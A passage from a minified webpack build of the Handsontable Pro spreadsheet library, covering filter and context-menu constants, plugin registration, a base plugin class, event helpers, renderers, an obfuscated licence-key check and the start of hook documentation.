"".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".hideColumn"); exports.CONTEXTMENU_ITEMS_HIDE_COLUMN = CONTEXTMENU_ITEMS_HIDE_COLUMN; var CONTEXTMENU_ITEMS_SHOW_COLUMN = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".showColumn"); exports.CONTEXTMENU_ITEMS_SHOW_COLUMN = CONTEXTMENU_ITEMS_SHOW_COLUMN; var CONTEXTMENU_ITEMS_HIDE_ROW = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".hideRow"); exports.CONTEXTMENU_ITEMS_HIDE_ROW = CONTEXTMENU_ITEMS_HIDE_ROW; var CONTEXTMENU_ITEMS_SHOW_ROW = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".showRow"); exports.CONTEXTMENU_ITEMS_SHOW_ROW = CONTEXTMENU_ITEMS_SHOW_ROW; var FILTERS_NAMESPACE = 'Filters:'; exports.FILTERS_NAMESPACE = FILTERS_NAMESPACE; var FILTERS_CONDITIONS_NAMESPACE = "".concat(FILTERS_NAMESPACE, "conditions"); exports.FILTERS_CONDITIONS_NAMESPACE = FILTERS_CONDITIONS_NAMESPACE; var FILTERS_CONDITIONS_NONE = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".none"); exports.FILTERS_CONDITIONS_NONE = FILTERS_CONDITIONS_NONE; var FILTERS_CONDITIONS_EMPTY = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".isEmpty"); exports.FILTERS_CONDITIONS_EMPTY = FILTERS_CONDITIONS_EMPTY; var FILTERS_CONDITIONS_NOT_EMPTY = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".isNotEmpty"); exports.FILTERS_CONDITIONS_NOT_EMPTY = FILTERS_CONDITIONS_NOT_EMPTY; var FILTERS_CONDITIONS_EQUAL = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".isEqualTo"); exports.FILTERS_CONDITIONS_EQUAL = FILTERS_CONDITIONS_EQUAL; var FILTERS_CONDITIONS_NOT_EQUAL = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".isNotEqualTo"); exports.FILTERS_CONDITIONS_NOT_EQUAL = FILTERS_CONDITIONS_NOT_EQUAL; var FILTERS_CONDITIONS_BEGINS_WITH = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".beginsWith"); exports.FILTERS_CONDITIONS_BEGINS_WITH = FILTERS_CONDITIONS_BEGINS_WITH; var FILTERS_CONDITIONS_ENDS_WITH = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".endsWith"); exports.FILTERS_CONDITIONS_ENDS_WITH = FILTERS_CONDITIONS_ENDS_WITH; var FILTERS_CONDITIONS_CONTAINS = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".contains"); exports.FILTERS_CONDITIONS_CONTAINS = FILTERS_CONDITIONS_CONTAINS; var FILTERS_CONDITIONS_NOT_CONTAIN = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".doesNotContain"); exports.FILTERS_CONDITIONS_NOT_CONTAIN = FILTERS_CONDITIONS_NOT_CONTAIN; var FILTERS_CONDITIONS_BY_VALUE = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".byValue"); exports.FILTERS_CONDITIONS_BY_VALUE = FILTERS_CONDITIONS_BY_VALUE; var FILTERS_CONDITIONS_GREATER_THAN = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".greaterThan"); exports.FILTERS_CONDITIONS_GREATER_THAN = FILTERS_CONDITIONS_GREATER_THAN; var FILTERS_CONDITIONS_GREATER_THAN_OR_EQUAL = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".greaterThanOrEqualTo"); exports.FILTERS_CONDITIONS_GREATER_THAN_OR_EQUAL = FILTERS_CONDITIONS_GREATER_THAN_OR_EQUAL; var FILTERS_CONDITIONS_LESS_THAN = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".lessThan"); exports.FILTERS_CONDITIONS_LESS_THAN = FILTERS_CONDITIONS_LESS_THAN; var FILTERS_CONDITIONS_LESS_THAN_OR_EQUAL = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".lessThanOrEqualTo"); exports.FILTERS_CONDITIONS_LESS_THAN_OR_EQUAL = FILTERS_CONDITIONS_LESS_THAN_OR_EQUAL; var FILTERS_CONDITIONS_BETWEEN = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".isBetween"); exports.FILTERS_CONDITIONS_BETWEEN = FILTERS_CONDITIONS_BETWEEN; var FILTERS_CONDITIONS_NOT_BETWEEN = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".isNotBetween"); exports.FILTERS_CONDITIONS_NOT_BETWEEN = FILTERS_CONDITIONS_NOT_BETWEEN; var FILTERS_CONDITIONS_AFTER = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".after"); exports.FILTERS_CONDITIONS_AFTER = FILTERS_CONDITIONS_AFTER; var FILTERS_CONDITIONS_BEFORE = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".before"); exports.FILTERS_CONDITIONS_BEFORE = FILTERS_CONDITIONS_BEFORE; var FILTERS_CONDITIONS_TODAY = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".today"); exports.FILTERS_CONDITIONS_TODAY = FILTERS_CONDITIONS_TODAY; var FILTERS_CONDITIONS_TOMORROW = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".tomorrow"); exports.FILTERS_CONDITIONS_TOMORROW = FILTERS_CONDITIONS_TOMORROW; var FILTERS_CONDITIONS_YESTERDAY = "".concat(FILTERS_CONDITIONS_NAMESPACE, ".yesterday"); exports.FILTERS_CONDITIONS_YESTERDAY = FILTERS_CONDITIONS_YESTERDAY; var FILTERS_DIVS_FILTER_BY_CONDITION = "".concat(FILTERS_NAMESPACE, "labels.filterByCondition"); exports.FILTERS_DIVS_FILTER_BY_CONDITION = FILTERS_DIVS_FILTER_BY_CONDITION; var FILTERS_DIVS_FILTER_BY_VALUE = "".concat(FILTERS_NAMESPACE, "labels.filterByValue"); exports.FILTERS_DIVS_FILTER_BY_VALUE = FILTERS_DIVS_FILTER_BY_VALUE; var FILTERS_LABELS_CONJUNCTION = "".concat(FILTERS_NAMESPACE, "labels.conjunction"); exports.FILTERS_LABELS_CONJUNCTION = FILTERS_LABELS_CONJUNCTION; var FILTERS_LABELS_DISJUNCTION = "".concat(FILTERS_NAMESPACE, "labels.disjunction"); exports.FILTERS_LABELS_DISJUNCTION = FILTERS_LABELS_DISJUNCTION; var FILTERS_VALUES_BLANK_CELLS = "".concat(FILTERS_NAMESPACE, "values.blankCells"); exports.FILTERS_VALUES_BLANK_CELLS = FILTERS_VALUES_BLANK_CELLS; var FILTERS_BUTTONS_SELECT_ALL = "".concat(FILTERS_NAMESPACE, "buttons.selectAll"); exports.FILTERS_BUTTONS_SELECT_ALL = FILTERS_BUTTONS_SELECT_ALL; var FILTERS_BUTTONS_CLEAR = "".concat(FILTERS_NAMESPACE, "buttons.clear"); exports.FILTERS_BUTTONS_CLEAR = FILTERS_BUTTONS_CLEAR; var FILTERS_BUTTONS_OK = "".concat(FILTERS_NAMESPACE, "buttons.ok"); exports.FILTERS_BUTTONS_OK = FILTERS_BUTTONS_OK; var FILTERS_BUTTONS_CANCEL = "".concat(FILTERS_NAMESPACE, "buttons.cancel"); exports.FILTERS_BUTTONS_CANCEL = FILTERS_BUTTONS_CANCEL; var FILTERS_BUTTONS_PLACEHOLDER_SEARCH = "".concat(FILTERS_NAMESPACE, "buttons.placeholder.search"); exports.FILTERS_BUTTONS_PLACEHOLDER_SEARCH = FILTERS_BUTTONS_PLACEHOLDER_SEARCH; var FILTERS_BUTTONS_PLACEHOLDER_VALUE = "".concat(FILTERS_NAMESPACE, "buttons.placeholder.value"); exports.FILTERS_BUTTONS_PLACEHOLDER_VALUE = FILTERS_BUTTONS_PLACEHOLDER_VALUE; var FILTERS_BUTTONS_PLACEHOLDER_SECOND_VALUE = "".concat(FILTERS_NAMESPACE, "buttons.placeholder.secondValue"); exports.FILTERS_BUTTONS_PLACEHOLDER_SECOND_VALUE = FILTERS_BUTTONS_PLACEHOLDER_SECOND_VALUE; /***/ }), /* 12 */ /***/ (function(module, exports, __webpack_require__) { var store = __webpack_require__(93)('wks'); var uid = __webpack_require__(51); var Symbol = __webpack_require__(6).Symbol; var USE_SYMBOL = typeof Symbol == 'function'; var $exports = module.exports = function (name) { return store[name] || (store[name] = USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name)); }; $exports.store = store; /***/ }), /* 13 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.registerPlugin = registerPlugin; exports.getPlugin = getPlugin; exports.getRegistredPluginNames = getRegistredPluginNames; exports.getPluginName = getPluginName; var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _object = __webpack_require__(2); var _string = __webpack_require__(48); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * Utility to register plugins and common namespace for keeping reference to all plugins classes */ var registeredPlugins = new WeakMap(); /** * Registers plugin under given name * * @param {String} pluginName * @param {Function} PluginClass */ function registerPlugin(pluginName, PluginClass) { var correctedPluginName = (0, _string.toUpperCaseFirst)(pluginName); _pluginHooks.default.getSingleton().add('construct', function () { if (!registeredPlugins.has(this)) { registeredPlugins.set(this, {}); } var holder = registeredPlugins.get(this); if (!holder[correctedPluginName]) { holder[correctedPluginName] = new PluginClass(this); } }); _pluginHooks.default.getSingleton().add('afterDestroy', function () { if (registeredPlugins.has(this)) { var pluginsHolder = registeredPlugins.get(this); (0, _object.objectEach)(pluginsHolder, function (plugin) { return plugin.destroy(); }); registeredPlugins.delete(this); } }); } /** * @param {Object} instance * @param {String|Function} pluginName * @returns {Function} pluginClass Returns plugin instance if exists or `undefined` if not exists. */ function getPlugin(instance, pluginName) { if (typeof pluginName !== 'string') { throw Error('Only strings can be passed as "plugin" parameter'); } var _pluginName = (0, _string.toUpperCaseFirst)(pluginName); if (!registeredPlugins.has(instance) || !registeredPlugins.get(instance)[_pluginName]) { return void 0; } return registeredPlugins.get(instance)[_pluginName]; } /** * Get all registred plugins names for concrete Handsontable instance. * * @param {Object} hotInstance * @returns {Array} */ function getRegistredPluginNames(hotInstance) { return registeredPlugins.has(hotInstance) ? Object.keys(registeredPlugins.get(hotInstance)) : []; } /** * Get plugin name. * * @param {Object} hotInstance * @param {Object} plugin * @returns {String|null} */ function getPluginName(hotInstance, plugin) { var pluginName = null; if (registeredPlugins.has(hotInstance)) { (0, _object.objectEach)(registeredPlugins.get(hotInstance), function (pluginInstance, name) { if (pluginInstance === plugin) { pluginName = name; } }); } return pluginName; } /***/ }), /* 14 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.stringify = stringify; exports.isDefined = isDefined; exports.isUndefined = isUndefined; exports.isEmpty = isEmpty; exports.isRegExp = isRegExp; exports._injectProductInfo = _injectProductInfo; var _moment = _interopRequireDefault(__webpack_require__(67)); var _templateLiteralTag = __webpack_require__(58); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _templateObject() { var data = _taggedTemplateLiteral(["\n Your license key of Handsontable Pro has expired.\u200C\u200C\u200C\u200C \n Renew your maintenance plan at https://handsontable.com or downgrade to the previous version of the software.\n "]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * Converts any value to string. * * @param {*} value * @returns {String} */ function stringify(value) { var result; switch (_typeof(value)) { case 'string': case 'number': result = "".concat(value); break; case 'object': result = value === null ? '' : value.toString(); break; case 'undefined': result = ''; break; default: result = value.toString(); break; } return result; } /** * Checks if given variable is defined. * * @param {*} variable Variable to check. * @returns {Boolean} */ function isDefined(variable) { return typeof variable !== 'undefined'; } /** * Checks if given variable is undefined. * * @param {*} variable Variable to check. * @returns {Boolean} */ function isUndefined(variable) { return typeof variable === 'undefined'; } /** * Check if given variable is null, empty string or undefined. * * @param {*} variable Variable to check. * @returns {Boolean} */ function isEmpty(variable) { return variable === null || variable === '' || isUndefined(variable); } /** * Check if given variable is a regular expression. * * @param {*} variable Variable to check. * @returns {Boolean} */ function isRegExp(variable) { return Object.prototype.toString.call(variable) === '[object RegExp]'; } /* eslint-disable */ var _m = '\x6C\x65\x6E\x67\x74\x68'; var _hd = function _hd(v) { return parseInt(v, 16); }; var _pi = function _pi(v) { return parseInt(v, 10); }; var _ss = function _ss(v, s, l) { return v['\x73\x75\x62\x73\x74\x72'](s, l); }; var _cp = function _cp(v) { return v['\x63\x6F\x64\x65\x50\x6F\x69\x6E\x74\x41\x74'](0) - 65; }; var _norm = function _norm(v) { return "".concat(v).replace(/\-/g, ''); }; var _extractTime = function _extractTime(v) { return _hd(_ss(_norm(v), _hd('12'), _cp('\x46'))) / (_hd(_ss(_norm(v), _cp('\x42'), ~~![][_m])) || 9); }; var _ignored = function _ignored() { return typeof location !== 'undefined' && /^([a-z0-9\-]+\.)?\x68\x61\x6E\x64\x73\x6F\x6E\x74\x61\x62\x6C\x65\x2E\x63\x6F\x6D$/i.test(location.host); }; var _notified = false; function _injectProductInfo(key, element) { key = _norm(key || ''); var warningMessage = ''; var showDomMessage = true; var schemaValidity = _checkKeySchema(key); var ignored = _ignored(); var trial = isEmpty(key) || key === 'trial'; if (trial || schemaValidity) { if (schemaValidity) { var releaseTime = Math.floor((0, _moment.default)("19/12/2018", 'DD/MM/YYYY').toDate().getTime() / 8.64e7); var keyGenTime = _extractTime(key); if (keyGenTime > 45000 || keyGenTime !== parseInt(keyGenTime, 10)) { warningMessage = 'The license key provided to Handsontable Pro is invalid. Make sure you pass it correctly.'; } if (!warningMessage) { if (releaseTime > keyGenTime + 1) { warningMessage = (0, _templateLiteralTag.toSingleLine)(_templateObject()); } showDomMessage = releaseTime > keyGenTime + 15; } } else { warningMessage = 'Evaluation version of Handsontable Pro. Not licensed for use in a production environment.'; } } else { warningMessage = 'The license key provided to Handsontable Pro is invalid. Make sure you pass it correctly.'; } if (ignored) { warningMessage = false; showDomMessage = false; } if (warningMessage && !_notified) { console[trial ? 'info' : 'warn'](warningMessage); _notified = true; } if (showDomMessage && element.parentNode) { var message = document.createElement('div'); message.id = 'hot-display-license-info'; message.appendChild(document.createTextNode('Evaluation version of Handsontable Pro.')); message.appendChild(document.createElement('br')); message.appendChild(document.createTextNode('Not licensed for production use.')); element.parentNode.insertBefore(message, element.nextSibling); } } function _checkKeySchema(v) { var z = [][_m]; var p = z; if (v[_m] !== _cp('\x5A')) { return false; } for (var c = '', i = '\x42\x3C\x48\x34\x50\x2B'.split(''), j = _cp(i.shift()); j; j = _cp(i.shift() || 'A')) { --j < ''[_m] ? p = p | (_pi("".concat(_pi(_hd(c) + (_hd(_ss(v, Math.abs(j), 2)) + []).padStart(2, '0')))) % 97 || 2) >> 1 : c = _ss(v, j, !j ? 6 : i[_m] === 1 ? 9 : 8); } return p === z; } /* eslint-enable */ /***/ }), /* 15 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _recordTranslator = __webpack_require__(424); var _plugins = __webpack_require__(13); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var privatePool = new WeakMap(); var initializedPlugins = null; /** * @util */ var BasePlugin = /*#__PURE__*/ function () { /** * @param {Object} hotInstance Handsontable instance. */ function BasePlugin(hotInstance) { var _this = this; _classCallCheck(this, BasePlugin); /** * Handsontable instance. * * @type {Core} */ (0, _object.defineGetter)(this, 'hot', hotInstance, { writable: false }); (0, _object.defineGetter)(this, 't', (0, _recordTranslator.getTranslator)(hotInstance), { writable: false }); privatePool.set(this, { hooks: {} }); initializedPlugins = null; this.pluginName = null; this.pluginsInitializedCallbacks = []; this.isPluginsReady = false; this.enabled = false; this.initialized = false; this.hot.addHook('afterPluginsInitialized', function () { return _this.onAfterPluginsInitialized(); }); this.hot.addHook('afterUpdateSettings', function (newSettings) { return _this.onUpdateSettings(newSettings); }); this.hot.addHook('beforeInit', function () { return _this.init(); }); } _createClass(BasePlugin, [{ key: "init", value: function init() { this.pluginName = (0, _plugins.getPluginName)(this.hot, this); if (this.isEnabled && this.isEnabled()) { this.enablePlugin(); } if (!initializedPlugins) { initializedPlugins = (0, _plugins.getRegistredPluginNames)(this.hot); } if (initializedPlugins.indexOf(this.pluginName) >= 0) { initializedPlugins.splice(initializedPlugins.indexOf(this.pluginName), 1); } if (!initializedPlugins.length) { this.hot.runHooks('afterPluginsInitialized'); } this.initialized = true; } /** * Enable plugin for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { this.enabled = true; } /** * Disable plugin for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { if (this.eventManager) { this.eventManager.clear(); } this.clearHooks(); this.enabled = false; } /** * Add listener to plugin hooks system. * * @param {String} name * @param {Function} callback */ }, { key: "addHook", value: function addHook(name, callback) { privatePool.get(this).hooks[name] = privatePool.get(this).hooks[name] || []; var hooks = privatePool.get(this).hooks[name]; this.hot.addHook(name, callback); hooks.push(callback); privatePool.get(this).hooks[name] = hooks; } /** * Remove all hooks listeners by hook name. * * @param {String} name */ }, { key: "removeHooks", value: function removeHooks(name) { var _this2 = this; (0, _array.arrayEach)(privatePool.get(this).hooks[name] || [], function (callback) { _this2.hot.removeHook(name, callback); }); } /** * Clear all hooks. */ }, { key: "clearHooks", value: function clearHooks() { var _this3 = this; var hooks = privatePool.get(this).hooks; (0, _object.objectEach)(hooks, function (callbacks, name) { return _this3.removeHooks(name); }); hooks.length = 0; } /** * Register function which will be immediately called after all plugins initialized. * * @param {Function} callback */ }, { key: "callOnPluginsReady", value: function callOnPluginsReady(callback) { if (this.isPluginsReady) { callback(); } else { this.pluginsInitializedCallbacks.push(callback); } } /** * On after plugins initialized listener. * * @private */ }, { key: "onAfterPluginsInitialized", value: function onAfterPluginsInitialized() { (0, _array.arrayEach)(this.pluginsInitializedCallbacks, function (callback) { return callback(); }); this.pluginsInitializedCallbacks.length = 0; this.isPluginsReady = true; } /** * On update settings listener. * * @private */ }, { key: "onUpdateSettings", value: function onUpdateSettings() { if (this.isEnabled) { if (this.enabled && !this.isEnabled()) { this.disablePlugin(); } if (!this.enabled && this.isEnabled()) { this.enablePlugin(); } if (this.enabled && this.isEnabled()) { this.updatePlugin(); } } } /** * Updates the plugin to use the latest options you have specified. * * @private */ }, { key: "updatePlugin", value: function updatePlugin() {} /** * Destroy plugin. */ }, { key: "destroy", value: function destroy() { var _this4 = this; if (this.eventManager) { this.eventManager.destroy(); } this.clearHooks(); (0, _object.objectEach)(this, function (value, property) { if (property !== 'hot' && property !== 't') { _this4[property] = null; } }); delete this.t; delete this.hot; } }]); return BasePlugin; }(); var _default = BasePlugin; exports.default = _default; /***/ }), /* 16 */ /***/ (function(module, exports, __webpack_require__) { // 7.1.15 ToLength var toInteger = __webpack_require__(33); var min = Math.min; module.exports = function (it) { return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991 }; /***/ }), /* 17 */ /***/ (function(module, exports, __webpack_require__) { var anObject = __webpack_require__(5); var IE8_DOM_DEFINE = __webpack_require__(130); var toPrimitive = __webpack_require__(44); var dP = Object.defineProperty; exports.f = __webpack_require__(20) ? Object.defineProperty : function defineProperty(O, P, Attributes) { anObject(O); P = toPrimitive(P, true); anObject(Attributes); if (IE8_DOM_DEFINE) try { return dP(O, P, Attributes); } catch (e) { /* empty */ } if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported!'); if ('value' in Attributes) O[P] = Attributes.value; return O; }; /***/ }), /* 18 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.stopImmediatePropagation = stopImmediatePropagation; exports.isImmediatePropagationStopped = isImmediatePropagationStopped; exports.stopPropagation = stopPropagation; exports.pageX = pageX; exports.pageY = pageY; exports.isRightClick = isRightClick; exports.isLeftClick = isLeftClick; var _element = __webpack_require__(1); /** * Prevent other listeners of the same event from being called. * * @param {Event} event */ function stopImmediatePropagation(event) { event.isImmediatePropagationEnabled = false; event.cancelBubble = true; } /** * Check if event was stopped by `stopImmediatePropagation`. * * @param event {Event} * @returns {Boolean} */ function isImmediatePropagationStopped(event) { return event.isImmediatePropagationEnabled === false; } /** * Prevent further propagation of the current event (prevent bubbling). * * @param event {Event} */ function stopPropagation(event) { // ie8 // http://msdn.microsoft.com/en-us/library/ie/ff975462(v=vs.85).aspx if (typeof event.stopPropagation === 'function') { event.stopPropagation(); } else { event.cancelBubble = true; } } /** * Get horizontal coordinate of the event object relative to the whole document. * * @param {Event} event * @returns {Number} */ function pageX(event) { if (event.pageX) { return event.pageX; } return event.clientX + (0, _element.getWindowScrollLeft)(); } /** * Get vertical coordinate of the event object relative to the whole document. * * @param {Event} event * @returns {Number} */ function pageY(event) { if (event.pageY) { return event.pageY; } return event.clientY + (0, _element.getWindowScrollTop)(); } /** * Check if provided event was triggered by clicking the right mouse button. * * @param {Event} event DOM Event. * @returns {Boolean} */ function isRightClick(event) { return event.button === 2; } /** * Check if provided event was triggered by clicking the left mouse button. * * @param {Event} event DOM Event. * @returns {Boolean} */ function isLeftClick(event) { return event.button === 0; } /***/ }), /* 19 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getRenderer = _getItem; exports.getRegisteredRenderers = exports.getRegisteredRendererNames = exports.hasRenderer = exports.registerRenderer = void 0; var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _cellDecorator = _interopRequireDefault(__webpack_require__(624)); var _autocompleteRenderer = _interopRequireDefault(__webpack_require__(625)); var _checkboxRenderer = _interopRequireDefault(__webpack_require__(626)); var _htmlRenderer = _interopRequireDefault(__webpack_require__(627)); var _numericRenderer = _interopRequireDefault(__webpack_require__(628)); var _passwordRenderer = _interopRequireDefault(__webpack_require__(629)); var _textRenderer = _interopRequireDefault(__webpack_require__(630)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _staticRegister = (0, _staticRegister2.default)('renderers'), register = _staticRegister.register, getItem = _staticRegister.getItem, hasItem = _staticRegister.hasItem, getNames = _staticRegister.getNames, getValues = _staticRegister.getValues; exports.getRegisteredRenderers = getValues; exports.getRegisteredRendererNames = getNames; exports.hasRenderer = hasItem; exports.registerRenderer = register; register('base', _cellDecorator.default); register('autocomplete', _autocompleteRenderer.default); register('checkbox', _checkboxRenderer.default); register('html', _htmlRenderer.default); register('numeric', _numericRenderer.default); register('password', _passwordRenderer.default); register('text', _textRenderer.default); /** * Retrieve renderer function. * * @param {String} name Renderer identification. * @returns {Function} Returns renderer function. */ function _getItem(name) { if (typeof name === 'function') { return name; } if (!hasItem(name)) { throw Error("No registered renderer found under \"".concat(name, "\" name")); } return getItem(name); } /***/ }), /* 20 */ /***/ (function(module, exports, __webpack_require__) { // Thank's IE8 for his funny defineProperty module.exports = !__webpack_require__(4)(function () { return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7; }); /***/ }), /* 21 */ /***/ (function(module, exports) { var core = module.exports = { version: '2.6.1' }; if (typeof __e == 'number') __e = core; // eslint-disable-line no-undef /***/ }), /* 22 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _array = __webpack_require__(3); var _object = __webpack_require__(2); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @description * Handsontable events are the common interface that function in 2 ways: as __callbacks__ and as __hooks__. * * @example * * ```js * // Using events as callbacks: * ... * const hot1 = new Handsontable(document.getElementById('example1'), { * afterChange: function(changes, source) { * $.ajax({ * url: "save.php', * data: change * }); * } * }); * ... * ``` * * ```js * // Using events as plugin hooks: * ... * const hot1 = new Handsontable(document.getElementById('example1'), { * myPlugin: true * }); * * const hot2 = new Handsontable(document.getElementById('example2'), { * myPlugin: false * }); * * // global hook * Handsontable.hooks.add('afterChange', function() { * // Fired twice - for hot1 and hot2 * if (this.getSettings().myPlugin) { * // function body - will only run for hot1 * } * }); * * // local hook (has same effect as a callback) * hot2.addHook('afterChange', function() { * // function body - will only run in #example2 * }); * ``` * ... */ // @TODO: Move plugin description hooks to plugin? var REGISTERED_HOOKS = [ /** * Fired after resetting a cell's meta. This happens when the {@link Core#updateSettings} method is called. * * @event Hooks#afterCellMetaReset */ 'afterCellMetaReset', /** * Fired after one or more cells has been changed. The changes are triggered in any situation when the * value is entered using an editor or changed using API (e.q setDataAtCell) * * __Note:__ For performance reasons, the `changes` array is null for `"loadData"` source. * * @event Hooks#afterChange * @param {Array} changes 2D array containing information about each of the edited cells `[[row, prop, oldVal, newVal], ...]`. * @param {String} [source] String that identifies source of hook call ([list of all available sources]{@link https://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). * @example * ```js * new Handsontable(element, { * afterChange: (changes) => { * changes.forEach(([row, prop, oldValue, newValue]) => { * // Some logic... * }); * } * }) * ``` */ 'afterChange', /** * Fired by {@link ObserveChanges} plugin after detecting changes in the data source. This hook is fired when * {@link Options#observeChanges} option is enabled. * * @event Hooks#afterChangesObserved */ 'afterChangesObserved', /** * Fired by {@link ContextMenu} after setting up the Context Menu's default options. These options are a collection * which user can select by setting an array of keys or an array of objects in {@link Options#contextMenu} option. * * @event Hooks#afterContextMenuDefaultOptions * @param {Array} predefinedItems An array of objects containing information about the pre-defined Context Menu items. */ 'afterContextMenuDefaultOptions', /** * Fired by {@link ContextMenu} plugin before setting up the Context Menu's items but after filtering these options by * user (`contextMenu` option). This hook can by helpful to determine if user use specified menu item or to set up * one of the menu item to by always visible. * * @event Hooks#beforeContextMenuSetItems * @param {Object[]} menuItems An array of objects containing information about to generated Context Menu items. */ 'beforeContextMenuSetItems', /** * Fired by {@link DropdownMenu} plugin after setting up the Dropdown Menu's default options. These options are a * collection which user can select by setting an array of keys or an array of objects in {@link Options#dropdownMenu} * option. * * @pro * @event Hooks#afterDropdownMenuDefaultOptions * @param {Object[]} predefinedItems An array of objects containing information about the pre-defined Context Menu items. */ 'afterDropdownMenuDefaultOptions', /** * Fired by {@link DropdownMenu} plugin before setting up the Dropdown Menu's items but after filtering these options * by user (`dropdownMenu` option). This hook can by helpful to determine if user use specified menu item or to set * up one of the menu item to by always visible. * * @pro * @event Hooks#beforeDropdownMenuSetItems * @param {Object[]} menuItems An array of objects containing information about to generated Dropdown Menu items. */ 'beforeDropdownMenuSetItems', /** * Fired by {@link ContextMenu} plugin after hiding the Context Menu. This hook is fired when {@link Options#contextMenu} * option is enabled. * * @event Hooks#afterContextMenuHide * @param {Object} context The Context Menu plugin instance. */ 'afterContextMenuHide', /** * Fired by {@link ContextMenu} plugin before opening the Context Menu. This hook is fired when {@link Options#contextMenu} * option is enabled. * * @event Hooks#beforeContextMenuShow * @param {Object} context The Context Menu instance. */ 'beforeContextMenuShow', /** * Fired by {@link ContextMenu} plugin after opening the Context Menu. This hook is fired when {@link Options#contextMenu} * option is enabled. * * @event Hooks#afterContextMenuShow * @param {Object} context The Context Menu plugin instance. */ 'afterContextMenuShow', /** * Fired by {@link CopyPaste} plugin after reaching the copy limit while copying data. This hook is fired when * {@link Options#copyPaste} option is enabled. * * @event Hooks#afterCopyLimit * @param {Number} selectedRows Count of selected copyable rows. * @param {Number} selectedColumns Count of selected copyable columns. * @param {Number} copyRowsLimit Current copy rows limit. * @param {Number} copyColumnsLimit Current copy columns limit. */ 'afterCopyLimit', /** * Fired before created a new column. * * @event Hooks#beforeCreateCol * @param {Number} index Represents the visual index of first newly created column in the data source array. * @param {Number} amount Number of newly created columns in the data source array. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'beforeCreateCol', /** * Fired after created a new column. * * @event Hooks#afterCreateCol * @param {Number} index Represents the visual index of first newly created column in the data source. * @param {Number} amount Number of newly created columns in the data source. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterCreateCol', /** * Fired before created a new row. * * @event Hooks#beforeCreateRow * @param {Number} index Represents the visual index of first newly created row in the data source array. * @param {Number} amount Number of newly created rows in the data source array. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'beforeCreateRow', /** * Fired after created a new row. * * @event 